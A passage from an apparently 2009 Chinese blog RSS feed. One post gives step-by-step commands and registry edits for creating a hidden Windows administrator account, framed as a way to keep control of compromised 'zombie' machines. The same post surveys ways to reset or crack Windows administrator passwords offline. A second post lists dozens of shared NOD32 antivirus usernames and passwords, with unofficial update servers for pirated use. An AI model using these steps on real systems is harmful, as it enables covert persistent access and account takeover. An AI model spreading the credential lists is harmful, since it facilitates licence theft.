654321”更改这个隐藏账户的密码。这样这个隐藏账户就会失效，黑客无法再用这个隐藏账户登陆。<br/><br/><br/>win2003下创建永远的隐藏帐户操作一、二<br/><br/>前段时间比较流行的一句话”肉机”其实要想控制远端的计算机,那我想就少不了隐藏用户帐号的问题了,其实创建隐藏用户帐号还是比较简单的，现在我就把创建隐藏用户帐号告诉大家。<br/><br/>其实每一个用户帐号在注册表中都有自己帐号数据项<br/><br/>首先我们看看管理员在注册表中的数据项是什么样的（<br/><br/><br/>操作一、打开注册表：HKEY_LOCAL_MACHINE＼SAM＼SAM<br/><br/>SAM是保存用户帐号的地方，不过这个“项”在默认情况下是不可见的。我们如果想看内部的内容就必须首先对其授权。（建议对注册表不是很熟悉的朋友不要随便改动注册表）<br/><br/>操作二、认识注册表中的帐号分类<br/><br/>在OS中的用户帐号无论是内置帐号，还是后建帐号，在注册表中都能看见。不过有两个帐号大家一定要能够认识，那就是管理员帐号和guest帐号。<br/><br/><br/>”000001fa4”表示的是管理员帐号，即使管理员帐号被重命名了这个值也是不会变的，所以我们可以通过这个值来判断，重命名后的管理员帐号。<br/><br/>“000001fa5” 表示的是guest帐号，同样这个值也不会因为，来宾帐号给重命名而改变。剩下的其 它值基本上就是后来创建的用户帐号，生成值了。 认识了注册表后，现在我们就来利用”net user”命令创建帐号了，创建隐藏帐号必须在CMD下。有关常见的命令，这些命令也可以在OS的帮助中找到。<br/><br/>操作三、利用”net user”命令创建帐号<br/><br/>一、先建立隐藏用户 xbx$ 1、net user xbx$ 123,abc /add 这里的意思是说，建立个xbx$ 帐户密码是123,abc（如下图）<br/><br/><br/>图3<br/><br/>1、C:＼Documents and Settings＼Administrator>net localgroup administrators xbx$ /add 这里的意思是说把xbx,以便让我们创建用户具备管理员权限。<br/><br/>一、观察注册表中的变化，并对注册表做相应的修改。 HKEY_LOCAL_MACHINE＼SAM＼SAM<br/><br/>1、找到我们刚刚创建的用户帐号(如图)<br/><br/><br/>图4<br/><br/>在这幅图中我们可以看见”000003f6”就是我们刚新建立的”xbx<br/><br/>2、在注册表中多帐号权限复制<br/><br/>找到HKEY_LOCAL_MACHINE＼SAM＼SAM＼Domains＼Account＼Users 这个项，打开”000001f4”项，然后再打开”F”（如下图）。<br/><br/><br/>图5<br/><br/>然后将这里面的值，全选，粘帖并覆盖到”000003f6”的”F”值.<br/><br/>3、导出注册表值<br/><br/>现在将注册表中的“000001f4”、“000003f6”和“xbx"都导入出来,可直接将Users所有键值都导出来,到文件.<br/><br/><br/>图6<br/><br/>4、删除帐号<br/><br/>接下来我们再次进入“CMD”中删除“xbx<br/><br/><br/>图7<br/><br/>删除帐号后，则注册表中的值也就没有了，这个时候我们再把刚才导出的注册表项，导入到注册表中。 这个时候我们打开“本地计算机用户和组”就看不见“xbx"<br/><br/><br/><br/>系统密码破解方法总结<br/><br/>一、ERD2003<br/><br/>利用ERD2003强行修改系统管理员密码的方法简单、易于操作，且对2000/xp/2003系统均有效。下面就具体介绍一下这个软件的用法。<br/><br/>1.下载ERD2003的iso，刻录成可启动的CD，注意别搞错了，直接刻录镜像最好。<br/><br/>2.设置系统从光盘启动，进入“系统”后，ERD2003会针对系统的网络等硬件设备进行一些设置，总之遇到要你选择时一概选“yes”即可。<br/><br/>3.接下来ERD2003会在你的硬盘里搜索所有已安装的系统，再让你选择要修改的系统。<br/><br/>4.耐心等待，进入系统后：按start—administrative tools—locksmith，进入强行修改密码的界面，随后弹出的对话框会让你选择要修改密码的用户名，选择后即可强行修改密码而不用输入原始密码，然后点击NEXT，之后重启。<br/><br/>二、PASSWARE KIT 5.0中的Windows KEY 5.0<br/><br/>也有一些工具光盘里有这个程序，直接光盘运行就可以了。<br/><br/>如果找不到这种光盘，运行PASSWARE KIT 5.0后生成3个文件:TXTSETUP.OEM、WINKEY.SYS和WINKEY.INF，3个文件共50KB。<br/><br/>把这3个文件放在任何软盘中，然后使用XP安装光盘启动电脑，启动过程中按F6键让系统采用第三方驱动程序。<br/><br/>此 时，正是我们切入的最好时机，放入该软盘就会自动跳到Windows KEY的界面。软件会自动检测系统中安装的Windows 2000/XP/2003并列一个表供用户选择，当出现提示“Please enter your selection 1..? or 0 to quit:”（根据检测到已安装操作系统的数量，“?”可能是1到9之间的某个数字）时，按相应的数字键进行选择。接着出现提示“Set local Administrator password to‘12345’?(Y/N):”，即问是否把“Administrator”的密码修改为“12345”，按Y键，软件首先自动备份原密码，然后把 “Administrator”的密码修改为“12345”。从光驱中取出光盘，重新启动计算机，如果Windows XP欢迎界面中没有列出“Administrator”用户，那么就连续按两次“Ctrl+Alt+Del”组合键，这时就会出现输入用户名和密码的界 面，在“用户名”中输入“Administrator”，在“密码”中输入“12345”，单击“确定”按钮就可以登录Windows XP了。<br/><br/>提示：第一次登录Windows XP，系统会提示你密码已到期，要不要进行修改。你可以根据需要自行选择。<br/><br/>这 个方法还可以恢复原来的密码 ！！如果只是临时使用系统，使用完Windows XP后还想恢复原来的“Administrator”的密码，可按下面的方法操作。 先按照修改“Administrator”密码的步骤一和步骤二进行操作，接着就会出现提示“Would you like to undo Windows XP/2000/NT Key changes?(Y/N):”，按Y键，软件就会自动恢复原来的“Administrator”密码，接着又出现提示“Set local Administrator password to ‘12345’?(Y/N):”，按N键，不要把“Administrator”的密码修改为“12345”。从光驱中取出光盘，重新启动计算机，就完成 了密码恢复。<br/><br/>三、DreamPackPL<br/><br/>将下载回来的软件DreamPackPL解压缩到硬盘上一个方便的位置，然后运 行其中的DreamPack.exe文件，在软件界面上选中放入Windows安装光盘的光驱，然后点击“Make ISO CD image”按钮，程序将创建一个ISO格式的光盘镜像，并需要你指定保存该镜像文件的目录。创建好后用光盘刻录软件将该镜像文件刻录到光盘中，然后使用 这张光盘引导电脑启动。Windows的安装程序将会自动运行，到某时按R键进入故障恢复控制台。随后安装程序会自动显示所有已经安装的Windows操 作系统，使用数字键选择你想要进入的操作系统的故障恢复控制台，然后按下回车。当需要输入管理员密码的时候也不用担心，我们并不知道密码是什么，但是我们 要只要，直接按下回车就可以跳过这一步。随后进入System32文件夹：cd system32，并把该目录下的文件sfcfiles.dll重命名为其他名称：ren sfcfiles.dll sfcfiles.lld。接着我们从光盘中I386目录下复制文件pinball.ex_到System32文件夹中，并命名为 sfcfiles.dll：copy d:&#92;i386&#92; pinball.ex_ sfcfiles.dll。至此前期工作已经全部做完了，把光盘拿出来，然后输入exit命令退出控制台，并重启动电脑。以上所作的一切只是为了替换系统 中的sfcfiles.dll文件，因此如果你的操作系统安装在FAT32文件系统的分区上，那就更简单了，只要直接用Windows 98启动盘引导电脑进入DOS，并在dos下用DreamPackPL软件压缩包中的sfcfiles.dll文件替换System32目录下的原同名文 件即可（注意不要忘了Windows的文件保护，备份文件也要替换）。<br/><br/>忘记了电脑中管理员帐户的密码。那么可以在重启后显示的界面上点击“Details”按钮，随后可以看到和平常的帐户管理界面类似界面，选中想要修改密码的帐户，然后点击窗口下方的“重设密码”按钮，输入新的密码后点击确定即可。<br/><br/>四、其他的方法<br/><br/>1.一个dos下破解密码的软件，dosPASS。<br/><br/>2.直接用安装盘启动安装界面时按Shift+F10，打开一个命令行窗口，用net user administrator 123 修改密码为123，用SHIFT+F10打开CMD后运行SET不加参数可以看到密码。<br/><br/>3. 使用OFFICE NT PASSWORD & REGISTRY EDITOR。用该软件可以制作LINUX启动盘，这个启动盘可以访问NTFS文件系统，因此可以很好地支持Windows 2000/XP。使用该软盘中的一个运行在LINUX下的工具NTPASSWD就可以解决问题，并且可以读取注册表并重写账号。使用方法很简单，只需根据 其启动后的提示一步一步做就可以了。在此，建议你使用快速模式，这样会列出用户供你选择修改那个用户密码。默认选择ADMIN组用户，自动找到把 ADMINISTRATOR的名字换掉的用户，十分方便。<br/><br/>五、网上其他一些传说中破解Windows2000/WindowsXP/Windows2003密码的方法<br/><br/>1.进入dos删除sam文件——这种方法对win2000有效，对xp和2003不但无效，还会导致系统死锁而彻底无法使用。<br/><br/>2.用winpe启动进控制台，然后用dos命令手动增添用户——除非原来管理员密码(指的是安全模式下的那个管理员)就没有设置，否则无效。<br/><br/>3. 将屏幕保护改名，将cmd.exe改名为logon.scr（当然要挂在别的机器上改了），开机后等待10分钟进入屏幕保护，实际上就进入了 dos命令行界面，可以用net命令加用户——已证明在sp1、sp2、2003中，这样进入dos后的权限根本不是管理员，因此也无法添加用户。<br/><br/>4. 硬盘挂到别的机器上，考出system32文件夹中的sam文件，用lc4暴力解密——理论上是可以的，打开并新建一个任务，然后依次击 “IMPORT→Import from SAM file”，打开已待破解的SAM文件，此时LC4会自动分析此文件，并显示出文件中的用户名；之后点击“Session→Begin Audit”，即可开始破解密码。但如果密码比较复杂的话，解密时间会极其的长。<br/><br/>
]]>
</description>
</item><item>
<link>http://www.fkdj8.com/post/25/</link>
<title><![CDATA[NOD32最新有效升级ID11月27号！！]]></title> 
<author>yantou &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术相关]]></category>
<pubDate>Fri, 27 Nov 2009 12:24:49 +0000</pubDate> 
<guid>http://www.fkdj8.com/post/25/</guid> 
<description>
<![CDATA[ 
	注意：版本为ESS/EAV 的能够用于所有版本NOD32升级。 <br/>2009年11月27日 NOD32升级ID&nbsp;&nbsp;&nbsp;&nbsp; <br/>用户名：EAV-24644512 <br/>密　码：eukcrmcrb8 <br/>适用版本：ESS/EAV<br/><br/>用户名：EAV-24644527 <br/>密　码：u584jtj8pd <br/>适用版本：ESS/EAV<br/><br/>用户名：EAV-24644530 <br/>密　码：dxe6cft5fn <br/>适用版本：ESS/EAV<br/><br/>用户名：EAV-24644529 <br/>密　码：kfnehejm6a <br/>适用版本：ESS/EAV<br/><br/>用户名：EAV-24644531 <br/>密　码：r6nbcatb75 <br/>适用版本：ESS/EAV<br/><br/>用户名：EAV-24644532 <br/>密　码：kme37b6thh <br/>适用版本：ESS/EAV<br/> 用户名：EAV-24644538 <br/>密　码：pbu6tjsm34 <br/>适用版本：ESS/EAV<br/><br/>用户名：EAV-24644539 <br/>密　码：4h5btcstrf <br/>适用版本：ESS/EAV<br/><br/>用户名：EAV-24644541 <br/>密　码：a758m74hsb <br/>适用版本：ESS/EAV<br/><br/>用户名：EAV-24641773 <br/>密　码：2tc3sf5vav <br/>适用版本：ESS/EAV<br/><br/>用户名：EAV-24644474 <br/>密　码：kmxb24rr4v <br/>适用版本：ESS/EAV<br/><br/>用户名：EAV-24644475 <br/>密　码：e5p3t54acb <br/>适用版本：ESS/EAV<br/>&nbsp;&nbsp;<br/>--------------------------------------------------------------------------------------------------- <br/>　　EAV半年升级ID（版本为EAV的仅用于EAV4.0/3.0/2.7/2.5升级） <br/>用户名：EAV-24654149 <br/>密　码：2n6d34kuxm <br/>适用版本：EAV <br/>有效期:2010/05/26 <br/>用户名：EAV-24655686 <br/>密　码：bunrdfm7m5 <br/>适用版本：EAV <br/>有效期:2010/05/26<br/><br/>用户名：EAV-24657005 <br/>密　码：kr8jps3cps <br/>适用版本：EAV <br/>有效期:2010/05/26<br/><br/>用户名：EAV-24793428 <br/>密　码：kphe5fvh3e <br/>适用版本：EAV <br/>有效期:2010/05/29<br/><br/>用户名：EAV-24583131 <br/>密　码：k272sb7m5x <br/>适用版本：EAV <br/>有效期:2010/05/24<br/><br/>用户名：EAV-24636518 <br/>密　码：dekf6sauu5 <br/>适用版本：EAV <br/>有效期:2010/05/25<br/><br/>用户名：EAV-23732709 <br/>密　码：afsmc2m5bu <br/>适用版本：EAV <br/>有效期:2010/05/05<br/><br/>用户名：EAV-23782480 <br/>密　码：ddktsbpa5c <br/>适用版本：EAV <br/>有效期:2010/05/06<br/><br/>用户名：EAV-23782686 <br/>密　码：hnhubv5jkb <br/>适用版本：EAV <br/>有效期:2010/05/06<br/><br/>用户名：EAV-23865396 <br/>密　码：2jbx488v4j <br/>适用版本：EAV <br/>有效期:2010/05/07<br/><br/>用户名：EAV-23865401 <br/>密　码：ar2cuej8ap <br/>适用版本：EAV <br/>有效期:2010/05/07<br/> 用户名：EAV-23300340 <br/>密　码：r77k265dma <br/>适用版本：EAV <br/>有效期:2010/04/24<br/><br/>用户名：EAV-23300731 <br/>密　码：t27a56x2kx <br/>适用版本：EAV <br/>有效期:2010/04/24<br/><br/>用户名：EAV-23300746 <br/>密　码：keje7r478m <br/>适用版本：EAV <br/>有效期:2010/04/24<br/><br/>用户名：EAV-23300751 <br/>密　码：tvcfhafkeh <br/>适用版本：EAV <br/>有效期:2010/04/24<br/><br/>用户名：EAV-23300810 <br/>密　码：xs4hm7bhtp <br/>适用版本：EAV <br/>有效期:2010/04/24<br/><br/>用户名：EAV-23300814 <br/>密　码：4rmatr2dc3 <br/>适用版本：EAV <br/>有效期:2010/04/24<br/><br/>用户名：EAV-23301584 <br/>密　码：mxmf5kv6hb <br/>适用版本：EAV <br/>有效期:2010/04/24<br/><br/>用户名：EAV-23301601 <br/>密　码：h6cjvfsxub <br/>适用版本：EAV <br/>有效期:2010/04/24<br/><br/>用户名：EAV-22584114 <br/>密　码：sa4b625mtc <br/>适用版本：EAV <br/>有效期:2010/04/05<br/><br/>用户名：EAV-22443238 <br/>密　码：t562t78dmm <br/>适用版本：EAV <br/>有效期:2010/04/05<br/><br/>用户名：EAV-22443244 <br/>密　码：xsk5eeu667 <br/>适用版本：EAV <br/>有效期:2010/04/05<br/><br/> 用户名：EAV-22443250 <br/>密　码：4h384pfxnp <br/>适用版本：EAV <br/>有效期:2010/04/05<br/><br/>用户名：EAV-22443255 <br/>密　码：mh3vk7e4r8 <br/>适用版本：EAV <br/>有效期:2010/04/05<br/><br/>用户名：EAV-22324070 <br/>密　码：68e5a6sxun <br/>适用版本：EAV <br/>有效期:2010/04/03<br/><br/>用户名：EAV-22325683 <br/>密　码：urjc84xu2j <br/>适用版本：EAV <br/>有效期:2010/04/03<br/><br/>用户名：EAV-21372481 <br/>密　码：pb2skkv6ex <br/>适用版本：EAV <br/>有效期:2010/03/16<br/><br/>用户名：EAV-21372480 <br/>密　码：ut74phmn6j <br/>适用版本：EAV <br/>有效期:2010/03/16<br/><br/>用户名：EAV-21372478 <br/>密　码：xsrux5bjnt <br/>适用版本：EAV <br/>有效期:2010/03/16<br/><br/>用户名：EAV-21372479 <br/>密　码：hm2vrrmfe5 <br/>适用版本：EAV <br/>有效期:2010/03/16<br/><br/>用户名：EAV-21372474 <br/>密　码：jes4aen6k6 <br/>适用版本：EAV <br/>有效期:2010/03/16<br/><br/>用户名：EAV-21372469 <br/>密　码：tvj5mx4js3 <br/>适用版本：EAV <br/>有效期:2010/03/16<br/><br/>用户名：EAV-21461621 <br/>密　码：jxeafnthhh <br/>适用版本：EAV <br/>有效期:2010/03/16<br/><br/> <br/>&nbsp;&nbsp;<br/>NOD32升级ID（长效 ID）&nbsp;&nbsp; <br/><br/> <br/>&nbsp;&nbsp;<br/>用户名：EAV-24649329 <br/>密　码：843axnstaa <br/>有效期至：2010-02-20<br/>适用版本：ESS/EAV <br/>用户名：EAV-24650934 <br/>密　码：s3bmsre473<br/>有效期至：2010-02-20<br/>适用版本：ESS/EAV<br/><br/>用户名：EAV-24651111<br/>密　码：ntjmx6ssjt<br/>有效期至：2010-02-20<br/>适用版本：ESS/EAV<br/> 用户名：EAV-24651137<br/>密　码：bba2b2knmt<br/>有效期至：2010-02-20<br/>适用版本：ESS/EAV <br/>用户名：EAV-24651139<br/>密　码：cf4k2u7u24<br/>有效期至：2010-02-20<br/>适用版本：ESS/EAV<br/><br/>用户名：EAV-24651183<br/>密　码：huvsr8s32t<br/>有效期至：2010-02-20<br/>适用版本：ESS/EAV<br/> 用户名：EAV-24651219<br/>密　码：saasr645ft<br/>有效期至：2010-02-20<br/>适用版本：ESS/EAV <br/>用户名：EAV-24651221<br/>密　码：2xank2dthn<br/>有效期至：2010-02-20<br/>适用版本：ESS/EAV<br/><br/>用户名：EAV-24651217<br/>密　码：kkbuvbref2<br/>有效期至：2010-02-20<br/>适用版本：ESS/EAV<br/> 使用方法：打开NOD32--更新--设定---服务器--填入服务器地址--确定即可。最后点击更新，更新完成就是完整版了。<br/><br/>　　最新服务器地址列表（任选一个）：<br/><br/>　　http://updatenod32.cn/　　　　　　　 　　　 http://update.citynov.ru/ess/<br/>　　http://bbs.zj-idc.com/nod32/ 　　　　　　　 http://ess.nod32site.org.cn/<br/>　　http://www.nod32upd.do.am/v3/　　　　　　　 http://nod32.52zy.com/<br/>　　http://u5.cnnod32.cn　　　　　　　　　　　　http://nod32.0712cn.net（电信用户）<br/>　　http://u1.cnnod32upserver(铁通用户)　　　　 http://u3.cnnod32.cn（联通用户）<br/>　　http://u6.cnnod32.cn<br/><br/>　　官方升级服务器地址：<br/><br/>　　http://u30.eset.com/nod_upd/<br/>　　http://u31.eset.com/nod_upd/<br/>　　http://u32.eset.com/nod_upd/<br/>　　http://u33.eset.com/nod_upd/<br/>　　http://u34.eset.com/nod_upd/<br/>　　http://u35.eset.com/nod_upd/<br/><br/> <br/> <br/>
]]>
</description>
</item>
</channel>
</rss>